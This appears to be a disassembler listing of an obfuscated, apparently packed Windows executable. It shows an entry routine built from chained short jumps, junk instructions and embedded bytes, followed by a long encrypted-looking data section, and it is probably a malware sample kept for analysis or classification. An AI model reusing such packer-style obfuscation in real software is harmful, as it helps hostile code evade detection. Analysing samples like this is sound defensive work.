loc_406601:				; CODE XREF: sub_4058B9:loc_40661Dj
		jmp	short loc_406630
; ---------------------------------------------------------------------------
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd
		jp	short loc_40663B
		mov	[ecx], ah
		inc	esi
		pop	es


loc_406614:				; CODE XREF: sub_4058B9+CE2j
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger


loc_40661D:				; CODE XREF: sub_4058B9:loc_4065ECj
		jmp	short loc_406601
; ---------------------------------------------------------------------------
		db 15h
		dd 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh
; ---------------------------------------------------------------------------


loc_406630:				; CODE XREF: sub_4058B9:loc_406601j
		pop	esi
		push	edi
		push	ebx
		xor	ebx, ebp
		add	ebx, 80905Ah


loc_40663B:				; CODE XREF: sub_4058B9+D55j
		ror	edi, 0Ah
		rol	edi, 32h
		rep cld
		pop	ebx
		pop	edi
		retn
sub_4058B9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================


		public start

start		proc far

arg_0		= dword	ptr  4

		add	edx, 163B22A6h
		jmp	loc_406653
; ---------------------------------------------------------------------------
		db 94h,	3Dh
; ---------------------------------------------------------------------------


loc_406653:				; CODE XREF: start+6j
		push	ebx
		push	163B22A6h
		jmp	loc_40666E
; ---------------------------------------------------------------------------
		dw 0DF7Eh
; ---------------------------------------------------------------------------
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat
		les	ebp, [ebp-56CF8C1Eh]


loc_40666E:				; CODE XREF: start+13j
		mov	ebx, esp
		sub	edx, [ebx]
		jmp	short loc_40667D
; ---------------------------------------------------------------------------
		dd 655CCF2Eh, 0E148EB3Ah
; ---------------------------------------------------------------------------
		push	es


loc_40667D:				; CODE XREF: start+2Cj
		add	esp, 4
		jmp	loc_40668C
; ---------------------------------------------------------------------------
		dd 921DF4C7h
; ---------------------------------------------------------------------------


loc_40668C:				; CODE XREF: start+3Dj
		pop	ebx
		jmp	short loc_4066BA
; ---------------------------------------------------------------------------
		db 0EAh
		db 0DBh, 78h
; ---------------------------------------------------------------------------


loc_406692:				; CODE XREF: start:loc_4066BAj
		jmp	short loc_4066D0
; ---------------------------------------------------------------------------
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h
		db 6Dh,	0A2h
; ---------------------------------------------------------------------------


loc_4066BA:				; CODE XREF: start+47j
		jmp	short loc_406692
; ---------------------------------------------------------------------------
		dd 0EE69F033h
		db 8Fh,	1Ch
; ---------------------------------------------------------------------------


loc_4066C2:				; CODE XREF: start:loc_4066D0j
		jmp	short loc_4066F3
; ---------------------------------------------------------------------------
		and	eax, 0A108ABFAh
		mov	byte ptr [edi+2352DDB4h], 20h


loc_4066D0:				; CODE XREF: start:loc_406692j
		jmp	short loc_4066C2
; ---------------------------------------------------------------------------
		dw 9ED9h
; ---------------------------------------------------------------------------
		jg	short loc_406722
		xchg	eax, ebp


loc_4066D7:				; CODE XREF: start:loc_4066F3j
		jmp	short loc_406706
; ---------------------------------------------------------------------------
		db 0AAh, 9Bh, 38h
		dd 0E4777611h, 5013024Dh, 7C6F4E49h, 688B5A05h,	14672681h
		db 0BDh, 0B2h, 3
; ---------------------------------------------------------------------------


loc_4066F3:				; CODE XREF: start:loc_4066C2j
		jmp	short loc_4066D7
; ---------------------------------------------------------------------------
		db 80h,	0B9h, 0FEh
		dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h
		db 0F3h, 0B0h
; ---------------------------------------------------------------------------


loc_406706:				; CODE XREF: start:loc_4066D7j
		push	ebp
		jmp	short loc_406732
; ---------------------------------------------------------------------------
		db 0DCh, 0E5h, 0BAh
; ---------------------------------------------------------------------------


loc_40670C:				; CODE XREF: start:loc_406732j
		jmp	short loc_406745
; ---------------------------------------------------------------------------
		dw 0C86Bh
		dd 74478661h, 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h
; ---------------------------------------------------------------------------
		sal	dword ptr [esi], 1


loc_406722:				; CODE XREF: start+8Ej
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]
		inc	ecx
; ---------------------------------------------------------------------------
		db 0E6h
; ---------------------------------------------------------------------------


loc_406732:				; CODE XREF: start+C1j
		jmp	short loc_40670C
; ---------------------------------------------------------------------------
		dd 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh
; ---------------------------------------------------------------------------
		pop	ss


loc_406745:				; CODE XREF: start:loc_40670Cj
		push	offset __ImageBase
		jmp	short loc_406779
; ---------------------------------------------------------------------------
		dd 9C0F6EE9h, 882B7AA5h
; ---------------------------------------------------------------------------
		and	[esi+7], eax


loc_406757:				; CODE XREF: start:loc_406779j
		jmp	short loc_406789
; ---------------------------------------------------------------------------
		db 34h,	5Dh, 0D2h
		dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h,	0CEC9D093h
		dd 0DA85FCEFh, 0A601E80Bh
		db 0E7h
; ---------------------------------------------------------------------------


loc_406779:				; CODE XREF: start+104j
		jmp	short loc_406757
; ---------------------------------------------------------------------------
		db 94h
		dd 83323Dh, 2CDF7E39h, 18FB8AF5h
		db 71h
; ---------------------------------------------------------------------------


loc_406789:				; CODE XREF: start:loc_406757j
		pop	ebp
		jmp	short loc_4067BA
; ---------------------------------------------------------------------------
		dd 0CF2EA930h
		db 5Ch,	65h, 3Ah
; ---------------------------------------------------------------------------


loc_406793:				; CODE XREF: start:loc_4067BAj
		jmp	short loc_4067CA
; ---------------------------------------------------------------------------
		jmp	short loc_4067DF
; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------
		push	es
		mov	esp, 6063921Dh
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_4067F9
		mov	dh, 0B7h


loc_4067AA:				; CODE XREF: start+1CAj
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw


loc_4067BA:				; CODE XREF: start+144j
		jmp	short loc_406793
; ---------------------------------------------------------------------------
		dd 43F2FD54h
; ---------------------------------------------------------------------------


loc_4067C0:				; CODE XREF: start:loc_4067CAj
		jmp	short loc_4067ED
; ---------------------------------------------------------------------------
		dw 0F9C0h
		dd 0B5EC9F3Eh
		db 4Ah,	0BBh
; ---------------------------------------------------------------------------


loc_4067CA:				; CODE XREF: start:loc_406793j
		jmp	short loc_4067C0
; ---------------------------------------------------------------------------
		dd 971631D8h, 33A26D84h, 8FEE69F0h, 0ABFA251Ch
		db 8, 0A1h, 0C6h
; ---------------------------------------------------------------------------


loc_4067DF:				; CODE XREF: start+14Fj
		xchg	esi, [ebp+ebx*8-26DFDCAEh]
		sahf
		jg	short loc_406835
		xchg	eax, ebp
		stosb
		wait
; ---------------------------------------------------------------------------
		db 38h
; ---------------------------------------------------------------------------


loc_4067ED:				; CODE XREF: start:loc_4067C0j
		xor	eax, eax
		jmp	short loc_406802
; ---------------------------------------------------------------------------
		add	dl, [ebx]
		push	eax


loc_4067F4:				; CODE XREF: start:loc_406802j
		jmp	short loc_406825
; ---------------------------------------------------------------------------
		dw 4E49h
		db 6Fh
; ---------------------------------------------------------------------------


loc_4067F9:				; CODE XREF: start+160j
		jl	short near ptr byte_406800
		pop	edx
		mov	ebp, [eax-7Fh]
; ---------------------------------------------------------------------------
		db 26h
byte_406800	db 67h,	14h		; CODE XREF: start:loc_4067F9j
; ---------------------------------------------------------------------------


loc_406802:				; CODE XREF: start+1A9j
		jmp	short loc_4067F4
; ---------------------------------------------------------------------------
		mov	ebp, 0B98003B2h


loc_406809:				; CODE XREF: start:loc_406825j
		jmp	short loc_406838
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
		pop	edi
		lodsb
		jnz	short near ptr loc_406816+4
		jnp	short loc_4067AA
		icebp
		setalc
		push	edi
		inc	esp


loc_406816:				; CODE XREF: start+1C8j
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi


loc_406825:				; CODE XREF: start:loc_4067F4j
		jmp	short loc_406809
; ---------------------------------------------------------------------------
		db 74h
		dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h
		db 0D1h
; ---------------------------------------------------------------------------


loc_406835:				; CODE XREF: start+1A1j
		db	36h
		aaa
		movsb


loc_406838:				; CODE XREF: start:loc_406809j
		cmp	eax, 0
		jz	loc_406871
		push	ecx
		push	esi
		mov	ecx, 80D1DAh
		lea	ecx, ds:81291Ah
		xor	ecx, edx
		jmp	loc_406858
; ---------------------------------------------------------------------------
		mov	esi, ecx
		std


loc_406858:				; CODE XREF: start+20Aj
		cmp	eax, ecx
		cld
		pop	esi
		pop	ecx
		mov	ebp, [esp+8]
		push	edx
		push	edi
		push	eax
		pop	edx
		mov	edi, ebp
		xor	edx, edx
		mov	edx, edx
		rcr	edx, 9Ah
		cld
		pop	edi
		pop	edx


loc_406871:				; CODE XREF: start+1F5j
		mov	eax, ebp
		push	ecx
		push	edx
		neg	edx
		test	eax, ebp
		not	edx
		mov	dx, 4949h
		mov	edx, 8090DAh
		xor	ecx, edx
		std
		xor	edx, ebp
		neg	edx
		neg	ecx
		mov	ecx, esi
		dec	edx
		cld
		pop	edx
		pop	ecx
		add	eax, 500h
		jmp	short loc_4068B4
; ---------------------------------------------------------------------------
		dw 0D427h
; ---------------------------------------------------------------------------
		jge	short loc_406910
		retn
; ---------------------------------------------------------------------------
		db 40h
		db 79h
; ---------------------------------------------------------------------------


loc_4068A1:				; CODE XREF: start:loc_4068B4j
		jmp	short loc_4068CB
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h
; ---------------------------------------------------------------------------


loc_4068B4:				; CODE XREF: start+252j
		jmp	short loc_4068A1
; ---------------------------------------------------------------------------
		dw 9C0Fh
		db 0A5h, 7Ah
; ---------------------------------------------------------------------------


loc_4068BA:				; CODE XREF: start:loc_4068CBj
		jmp	short loc_4068EA
; ---------------------------------------------------------------------------
		dd 4621882Bh, 0D25D3407h, 1E59A0A3h
		db 0FFh, 0CCh, 15h
; ---------------------------------------------------------------------------


loc_4068CB:				; CODE XREF: start:loc_4068A1j
		jmp	short loc_4068BA
; ---------------------------------------------------------------------------
		db 2Ah,	1Bh, 0B8h
		dd 64F7F691h, 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h
		dd 83323Dh
		db 39h,	7Eh
; ---------------------------------------------------------------------------


loc_4068EA:				; CODE XREF: start:loc_4068BAj
		add	eax, 500h
		jmp	short loc_406920
; ---------------------------------------------------------------------------
		db 56h,	0D7h, 0C4h
; ---------------------------------------------------------------------------


loc_4068F4:				; CODE XREF: start:loc_406920j
		jmp	short loc_406933
; ---------------------------------------------------------------------------
		dw 0E2ADh
		dd 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h
		dd 0EAD58CBFh
; ---------------------------------------------------------------------------


loc_406910:				; CODE XREF: start+256j
		fstp	tbyte ptr [eax+51h]
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx


loc_406920:				; CODE XREF: start+2A9j
		jmp	short loc_4068F4
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw
		push	esp
		std


loc_406929:				; CODE XREF: start:loc_406933j
		jmp	short loc_406956
; ---------------------------------------------------------------------------
		db 0F2h
		dd 3EF9C043h
		db 9Fh,	0ECh, 0B5h
; ---------------------------------------------------------------------------


loc_406933:				; CODE XREF: start:loc_4068F4j
		jmp	short loc_406929
; ---------------------------------------------------------------------------
		dec	edx
		mov	ebx, 971631D8h
		test	[ebp-5Eh], ch


loc_40693E:				; CODE XREF: start:loc_406956j
		jmp	short loc_406969
; ---------------------------------------------------------------------------
		dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h
; ---------------------------------------------------------------------------
		jg	short loc_4069A2


loc_406956:				; CODE XREF: start:loc_406929j
		jmp	short loc_40693E
; ---------------------------------------------------------------------------
		dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h
		db 5
; ---------------------------------------------------------------------------


loc_406969:				; CODE XREF: start:loc_40693Ej
		mov	edx, eax
		push	edx
		push	ecx
		mov	ecx, ebx
		dec	edx
		cld
		pop	ecx
		pop	edx
		add	edx, 600h
		push	esi
		push	edi
		mov	si, 492Fh
		test	ecx, ebx
		lea	edi, ds:809B5Ah
		jb	$+6
		inc	edi
		cld
		pop	edi
		pop	esi
		pop	ebp
		push	edx
		push	ecx
		xchg	ecx, ecx
		inc	edx
		cld
		pop	ecx
		pop	edx
		push	edx
		push	edi
		push	ecx
		shl	edi, 3Fh
		not	edi


loc_4069A2:				; CODE XREF: start+30Ej
		test	al, ch
		add	ecx, 80AA9Ah
		not	ecx
		cld
		rcl	edi, 35h
		dec	ecx
		nop
		xor	ecx, eax
		cld
		pop	ecx
		pop	edi
		retn
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 12h dup(0)
		dd 980h	dup(?)
_text		ends

; Section 2. (virtual address 00009000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00007A00 (  31232.)
; Offset to raw	data for section: 00005E00
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 409000h
		dd 35EBCE77h, 9F30D9E6h, 324D20D2h, 17F8CE9Bh, 336C6D4Dh
		dd 0D1DED7DFh, 0CD8DBB0Dh, 0E08FE234h, 9ED956A5h, 3707CC8Dh
		dd 19DF25A8h, 29809DDAh, 5E8EFAF3h, 3D95ECC4h, 906589CFh
		dd 0FF9A82D6h, 0D8C1CC67h, 435A4819h, 52619E98h, 14E490D0h
		dd 99348C98h, 0DCA65B27h, 9675124Eh, 0F7D790E6h, 52357DDAh
		dd 0DCC12C9Ch, 0E1080EDEh, 60D469A5h, 7D7854h, 0EB2D8954h
		dd 0F7188091h, 362735C2h, 29234FB3h, 19E1D9C6h,	648A8D16h
		dd 69CB68F5h, 0AA747DFBh, 1DEC779Ch, 121562DFh,	3C1CC201h
		dd 9A98AAB7h, 34C21982h, 0C69CF8E6h, 752BF6B2h,	1AD2447Bh
		dd 2A3C0A26h, 8CB51A7Fh, 0E858C886h, 39C5F53Eh,	501551A8h
		dd 3D1CF315h, 0E54B5CF3h, 0ADB7F123h, 0F64F9833h, 0D815FC83h
		dd 8C425BCBh, 0B64FCF54h, 829EBF39h, 11C7F9A6h,	1CF10D61h
		dd 0A6422F7Fh, 0FC62EB09h, 0BDC3C58Eh, 26AC6A69h, 0D3198CB2h
		dd 23A1F6FCh, 0B26B998Ah, 0FE04C379h, 0A99FF1A0h, 0EACA8C53h
		dd 953BEB4Eh, 2547ABCh,	44ED3DD4h, 0E34CDC36h, 0D7A4D169h
		dd 0B75BC52Ch, 87694621h, 3BA85252h, 0C6EA1CBBh, 0CC0F85D8h
		dd 1C0EC9D4h, 969303BAh, 18CBC80Fh, 3A776D85h, 0C02A5996h
		dd 2110ABF5h, 4FD89343h, 0D23D5A5h, 0FC0DC059h,	702AF569h
		dd 863842A2h, 584E10E9h, 484105B6h, 0BE9C1DF1h,	46DAE497h
		dd 9426A2DDh, 3FBDEC65h, 0A0500663h, 6FE29FB6h,	0E3C9CF30h
		dd 96193D7Ah, 3F994050h, 0E6003FD2h, 60BC436h, 3A1DA983h
		dd 0C63A1289h, 0BFB72348h, 0F3C6FF2h, 57189C4Ch, 190D097Ah
		dd 0D6F0AA01h, 0E7AD2E3Fh, 0B5C8028Ch, 0D94AB668h, 249814A5h
		dd 0E5C9AF6Bh, 17C194BBh, 260F54FBh, 0DC0A810Eh, 973C9016h
		dd 48480C26h, 24EE16E0h, 5CBF3D74h, 93C944D1h, 0F16312E8h
		dd 9B839F3Ch, 0A6339864h, 0FCA60022h, 24D4678h,	0FF468643h
		dd 6E53D60Bh, 70C47781h, 6980B9A3h, 0D4EA0C9Ch,	0F61A8D4Eh
		dd 1E6EF564h, 0DFE59C6Eh, 0D4279AB1h, 558FE2AAh, 63DF2648h
		dd 0D396F374h, 0D35836DDh, 0D64EAB1Ch, 54EB4893h, 0F181120Eh
		dd 2B90058Fh, 0DC04584Eh, 0A4E6E671h, 0FB4BB3E4h, 7CF5FBF4h
		dd 0ACEF8B6Dh, 8F12E147h, 0EB47A13Eh, 79060FFEh, 83DFE68Dh
		dd 4A7E2065h, 3E911AA4h, 0FA6F910Eh, 0FDC6A565h, 808BBE45h
		dd 3680B6FDh, 6D60888Ah, 0A00A5507h, 5702C3FCh,	1DD8639Dh
		dd 0A4E7F8CEh, 5C183931h, 69E5CFDEh, 77F72D03h,	0A15ABF19h
		dd 0D7A308ABh, 0FEC5B98Eh, 3FBC53BFh, 4D0FA5ADh, 0AC578506h
		dd 0F2465E2Eh, 1465D15Fh, 6D0B8C13h, 0FB90D03Ah, 0DDFA0403h
		dd 17CC8906h, 94E07AC4h, 5D45A11Dh, 0B11EF0DFh,	12F3C5EAh
		dd 3A4A0645h, 6738E9FEh, 0C1F3C251h, 0C5880E74h, 0A600E445h
		dd 0C43BF4DAh, 71E75459h, 20320968h, 5C1D52CDh,	95D00EA3h
		dd 0DB35B911h, 93DF9400h, 0CC5BB229h, 1AD2B841h, 0FFC4055Dh
		dd 98701947h, 55A8F179h, 8C6B9E69h, 5713CF2Fh, 6EAD0B44h
		dd 0F26C631Fh, 9A9F77A0h, 3462AE9Dh, 0AB5A5594h, 0E7D5D846h
		dd 0FD6972CEh, 4AAA4680h, 78CE15E9h, 4E7D5149h,	4FD613BAh
		dd 6565123Ch, 0CD1B8823h, 0BAE4344Eh, 0FF1FED7Bh, 0F6EA55FEh
		dd 13DA9437h, 77577230h, 31D98F77h, 59C326B2h, 83FF3568h
		dd 0EFD9DE90h, 0A28FF40Ch, 0C5087E6Eh, 0FF14A8EDh, 4818EC95h
		dd 9DCF692Fh, 1CF4CD0Bh, 2EC6D7F9h, 2D938612h, 0FF80D7EAh
		dd 0C5715B6Ch, 0C11F26A3h, 9566A520h, 0E08B6BFAh, 0E75C704Ch
		dd 60897675h, 0B777B709h, 4B478B39h, 0F4AF4E0Ch, 0F4D4E16Eh
		dd 3F4C5ECFh, 44367C65h, 0C748BBE2h, 0A13D5C3Dh, 4695314h
		dd 3698F20Ah, 802473F3h, 0F55C1264h, 0EE64C5CBh, 0C8B61F3Ah
		dd 0E32E6522h, 261EBA64h, 0E963F8E4h, 1B72136Ah, 0B99731F3h
		dd 236F6C1Ah, 30A79518h, 87755391h, 0D630EE7Eh,	47B427Bh
		dd 9A4209E6h, 0A6C1C75Fh, 0A6138288h, 85A91F98h, 0DF5D35E9h
		dd 6B58AB95h, 0D7938D35h, 5E214347h, 4DE43217h,	51CB91BBh
		dd 9DD1B487h, 42140DF9h, 0F648AA56h, 0F7E36023h, 0FFC1B104h
		dd 22E0C0B0h, 0A2BD68AFh, 5E515147h, 0D8114050h, 0A4714553h
		dd 64B680ABh, 0D4A2C729h, 0CF4BC0D5h, 0A4A473D2h, 19303BF8h
		dd 9DCED940h, 2E90A00Bh, 0F3875B95h, 0F1234E24h, 49F7F798h
		dd 6F399E1h, 72755C15h,	14ED5801h, 34900003h, 2C89AB54h
		dd 11DD3DA8h, 4106F1D6h, 0F6C18A15h, 5DC4688Eh,	50FEDA71h
		dd 29712124h, 0F5EC5E3Dh, 58D21D6Ah, 0F5737467h, 698B4B97h
		dd 0FB7E5291h, 99D94D75h, 71171ED2h, 421ABDDh, 4903BC0Bh
		dd 1CF22202h, 0E3433CF8h, 3A0D99F0h, 0FDA0C5FFh, 9D53D52Dh
		dd 79D5E8D9h, 0DED67A01h, 0FAE0A3DBh, 90A17074h, 0A681C67Bh
		dd 0F56BE5B2h, 3863498Fh, 84038BD5h, 0D40FA005h, 1FA312B8h
		dd 1924CB5Bh, 0AAFDC234h, 0DFE43B96h, 7AA65323h, 609066D0h
		dd 0BDA997F7h, 0D5E00FE5h, 4FE43302h, 45CAC125h, 0E7734706h
		dd 7DF69FBFh, 7AAADD46h, 0D4EFAA93h, 0AC64AAFFh, 4F59AA67h
		dd 13865AE3h, 0D9D264C2h, 98009628h, 3EF56409h,	37127CEh
		dd 24CB279Ch, 0D97B4160h, 5249720h, 8CA20719h, 8B5BDEB2h
		dd 1AB33D39h, 13DA6FC3h, 0C6D61EEEh, 0E2349BEAh, 8C5E16F0h
		dd 2E85EC03h, 51DA6928h, 5A16582Dh, 0D13A42EDh,	0A9BEEC71h
		dd 5B1E77Ch, 628A87Bh, 0BCB55236h, 26F959B0h, 2B03D90Bh
		dd 0EE6EF296h, 2A1F3061h, 6D424232h, 2DBCD037h,	772E5FF3h
		dd 86FC5193h, 16706219h, 64D7475h, 8F50107Fh, 21EF5F07h
		dd 192E9062h, 41A9D4BFh, 82D4DEFh, 5C8E433Ah, 0EA6C1C2Dh
		dd 78F74E9Dh, 0E2C07712h, 5CD13626h, 4690242Bh,	0C3087F22h
		dd 0FC967AD1h, 322CD0B2h, 6F6BF7B8h, 178489C2h,	0C3E75CB6h
		dd 62752C04h, 66A57304h, 12AA57A9h, 1E66A7h, 251C6E2Eh
		dd 8482F61Eh, 48C8AAAh,	63F1AEBh, 18055976h, 0CB09DA15h
		dd 0CE9086C9h, 639F4F2Dh, 0FCDC2EB4h, 99E4E25h,	6E6A4E5Ch
		dd 5E0B7495h, 3FF3969Bh, 0AE2B0C97h, 0C7F118FEh, 44E58CC6h
		dd 0CFFB88A0h, 0E1F50E6Eh, 0F9AFDECh, 0D156D315h, 0DA1D353Ah
		dd 0B939D48Dh, 6686C3FFh, 0E437F720h, 27252C59h, 4ABC99DFh
		dd 908AE503h, 0CC5AD078h, 0C7BA04E9h, 0FA54530Fh, 45B47A14h
		dd 976DDB1Bh, 0BB4138F1h, 98F62F41h, 83ED95D6h,	0E9E4B325h
		dd 5FC9E54Eh, 0F4BD1AEh, 0DD1FCEB6h, 82E4663Ah,	9D0E32B7h
		dd 5CE54598h, 307431C0h, 0C4B3916Fh, 60BD22CBh,	96969746h
		dd 0BD45E180h, 0FD40C365h, 0D326045Ch, 2924DC4h, 0E0AD0343h
		dd 996C3557h, 0C747039Fh, 583DC3A8h, 0DBBD2F12h, 0CEE2E5C2h
		dd 0E1826A53h, 60D90E5Ch, 493BFAA0h, 58F0B4E1h,	3B9D1480h
		dd 16AA9874h, 717B1BAh,	9BE21A36h, 61F20282h, 0BE03BB75h
		dd 8C04F80Eh, 77C10DE7h, 97EFCFFCh, 0D1982F19h,	0E429BEFCh
		dd 0E11FDA6Fh, 0BA9087BCh, 792535E8h, 49C46D6Eh, 46541B6Ch
		dd 0A1557F5h, 0F3955E0Fh, 8DF9E74Bh, 9DFD9105h,	5D9A501Eh
		dd 9051B589h, 966BBF81h, 5B3718F9h, 0C59340F0h,	2782C1EBh
		dd 63182F55h, 0A2E3D0CCh, 0D850BA2Ch, 0DBE6238Eh, 0F0A10407h
		dd 8DF05704h, 0A882EC95h, 64A2740Ah, 94AD2D95h,	6FDF2403h
		dd 0D276E74Dh, 9780DEBDh, 84B6460Bh, 0AF1E55B1h, 0AF24B853h
		dd 0A937F40Ch, 0AF1C5772h, 0E9734506h, 0B7CF42CDh, 73D73B2Eh
		dd 18C12E57h, 303920F6h, 9AC61994h, 1FA3C1F8h, 80A8AB0Ah
		dd 0CD67C2ACh, 74B7A498h
		dd 2BA714BEh, 0EDCDC585h, 70E67A32h, 4C99F167h,	3FB59495h
		dd 0C3ABCD50h, 0D14765EFh, 2CBCB57Ch, 3F2EAA32h, 2E0B7F5Eh
		dd 3A51BDDDh, 5ED26A1Bh, 0B1A839C4h, 9DCF52D4h,	0EB9909D7h
		dd 20AB3BBh, 0DE62A871h, 26029FEFh, 40CF85A6h, 2CD29315h
		dd 592DA928h, 0B3C26E9Ch, 549A1E7Fh, 8F5B339h, 5028C506h
		dd 0DCE043Ch, 5D98B46h,	0F4D75575h, 0C7BEA69Fh,	0E6A3EFBDh
		dd 7EC14F34h, 0A4828A2Ah, 44379B22h, 0EC6735CBh, 0B7D91A4Eh
		dd 90764942h, 0D998D764h, 0C9A5D806h, 1F3C6DBCh, 0DE39878h
		dd 2B94355h, 5476DEA0h,	0D84DDD89h, 663FC5ECh, 699B95C3h
		dd 0A14C0EFh, 721D9485h, 651FC5DDh, 5FB58B9Bh, 0F1132323h
		dd 773549B4h, 9427D55Bh, 9F089B1Ah, 9D5D419h, 296F7677h
		dd 53298C07h, 258C124Eh, 4DDA9DF6h, 337D6708h, 0EFBA25ACh
		dd 0C96665C9h, 8EBB30FEh, 0F944C298h, 20BA9E19h, 0E267E02Ah
		dd 0A1FBADCFh, 5F7EC966h, 455945FEh, 87304CA2h,	66C111D9h
		dd 17B55D43h, 0FD7376A7h, 7FF4DB60h, 7181FB8Fh,	945391C9h
		dd 1D1CA188h, 0AF183E8Bh, 64AEDA07h, 71ACA4AFh,	89EDE228h
		dd 7B3C224h, 38E1DD65h,	0EED01D7Ah, 0DD797DDFh,	9F1EFB94h
		dd 0F3DC4E34h, 9A65CCFCh, 4F5488A5h, 83C1C742h,	8F076A02h
		dd 1AB58DC4h, 0C4F7FB07h, 0EE799F63h, 46545603h, 0A8B503Eh
		dd 5B1F9ACEh, 63B2EE34h, 9CF04C9Dh, 0FAEE0A2Fh,	0B0682F06h
		dd 0C2FCFCE5h, 70D39948h, 3CCFDAC7h, 9DE5BF83h,	6078C2F6h
		dd 0F2647BEh, 2EC97C62h, 1AE2C2EBh, 0B864FCCAh,	0BA54DBDAh
		dd 0E8629CA4h, 0FA5C46A6h, 0AA07A4FDh, 0C7672FEAh, 438C5CA8h
		dd 0C736A746h, 0B49A4460h, 46ECA627h, 0B1EAC19Ah, 83AF58C0h
		dd 42320C21h, 0DB17DEF3h, 0B4F033A8h, 245EEB06h, 33AC238Dh
		dd 0F37DF33Ah, 0C3EF1F3Fh, 1E58575h, 645CA479h,	527A3E34h
		dd 5C68C8E9h, 20FD4E74h, 0ED748D8Bh, 97892C3Bh,	870779ACh
		dd 178E1694h, 31F80E7Bh, 0A3AE93Ch, 48815077h, 4116B2C1h
		dd 3F98BF26h, 0A5B01673h, 0A45D68E2h, 0A089F0FAh, 0F02071D6h
		dd 0D774204Ch, 68FB9DD1h, 35CDFD8Eh, 0E849BD1Dh, 0C13866DFh
		dd 692CE65h, 513F7B1Bh,	1DEA78F2h, 964EE2F4h, 0E0574EFEh
		dd 0E617BC59h, 0B1C6EE2Ah, 47209BC3h, 0E52F6C13h, 54E3B0B6h
		dd 6D49CBCBh, 0DD70D084h, 0AC7279F6h, 9990DC7Ch, 54F24196h
		dd 0E23DB4B3h, 3A9814FDh, 0BA28BE4Ah, 0FBCED7E6h, 0C50D1165h
		dd 76EE68DEh, 4710AF04h, 5969E1A0h, 8736B8A0h, 2CBC7B30h
		dd 0E723EAC5h, 9E120B45h, 719E538h, 1A2E4AF8h, 0A4C8DA2Ch
		dd 8B70CA4Bh, 3286E5ACh, 0BB0E8D3Ch, 551C8CBDh,	0ABF61CD9h
		dd 0D7ECC08Eh, 0D329F693h, 2D8245h, 6E000BABh, 85EF42B6h
		dd 0AA1CCD2Fh, 0DECB1C5Dh, 49AC3645h, 21AB66EEh, 84FAAEDh
		dd 9ADF4BAh, 9DE73EC2h,	281B0823h, 6E81636Eh, 0FD773E37h
		dd 0AE588E6Eh, 8F413DCAh, 0CFC46042h, 0CD37A18Bh, 0AAF0D195h
		dd 0D2B7CF99h, 0F609557h, 86FFD87h, 0BD25D708h,	2D952F35h
		dd 334F8A32h, 0BE30D99Fh, 0A6D32DDEh, 94FDC7Ah,	0E1A47E90h
		dd 295E6096h, 0F002B447h, 1990FE60h, 0E93A47E1h, 0A3D16FDh
		dd 0A4C8AC5h, 2247FAD6h, 0A7EB33C7h, 0F9DBF3B4h, 10C544E3h
		dd 7795BCADh, 0EB74EDFBh, 0A2D4F37Bh, 0FAADF160h, 4FF3B537h
		dd 0D0C62F5Bh, 0DE3D9D3Bh, 5F3AEB42h, 53F5B4F3h, 0B11554E8h
		dd 3F98F232h, 10AB12C7h, 428CC3Ch, 770CB5Ch, 0AE2718D0h
		dd 87E176D5h, 0EDC488A4h, 6C1B846Ch, 6F5A5297h,	66F07F9h
		dd 4D18B1F6h, 0B9F2E6A7h, 65764C3Bh, 0CDAA93F2h, 0D2CF86B3h
		dd 3AE25133h, 3D33E397h, 0B0777D65h, 0BA0C7522h, 0FF5CF871h
		dd 0EF72A20Ah, 0A4892C8Ch, 43128B05h, 75C1E8D9h, 8B419DB8h
		dd 0C7B59B6Fh, 0E72D1543h, 0A7193F66h, 9ECA633h, 18ABE337h
		dd 492CE7A4h, 0F7CD1227h, 19287D1Bh, 6B074AE8h,	0B95B8B4h
		dd 0B587EBFFh, 3435C171h, 893242B3h, 2D2BC582h,	1DE34DA5h
		dd 0D37447CDh, 1CD4C315h, 71A7CB37h, 0AD9ADA69h, 16B815E4h
		dd 6C671F21h, 8C21B20Ch, 0A7989BF8h, 0D159B2DDh, 70EB0646h
		dd 9E11AB19h, 0EDB2301Eh, 0BAF42C09h, 22104701h, 0ED0CAAADh
